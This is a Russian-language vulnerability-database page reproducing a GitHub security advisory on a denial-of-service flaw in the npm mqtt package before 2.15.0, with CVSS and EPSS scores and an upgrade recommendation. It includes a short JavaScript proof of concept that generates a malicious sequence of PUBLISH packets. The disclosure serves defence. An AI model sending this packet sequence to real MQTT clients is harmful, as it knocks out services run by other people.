Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-h9mj-fghc-664w

Опубликовано: 28 дек. 2017
Источник: github
Github: Прошло ревью
CVSS3: 6.5

Описание

Denial of Service in mqtt

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet'); var packets = []; for(var i=0; i<=1000;i++){ packets.push( mqttp.generate({ cmd:'publish', topic:Buffer.from('hello'), payload:Buffer.from('world'), retain: false, dup: false, messageId: ++i, qos: 1 }) ) }

Recommendation

Update to version 2.15.0 or later.

Пакеты

Наименование

mqtt

npm
Затронутые версииВерсия исправления

>= 2.0.0, < 2.15.0

2.15.0

EPSS

Процентиль: 73%
0.0079
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-674

Связанные уязвимости

CVSS3: 6.5
nvd
около 8 лет назад

MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.

CVSS3: 6.5
debian
около 8 лет назад

MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may le ...

EPSS

Процентиль: 73%
0.0079
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-674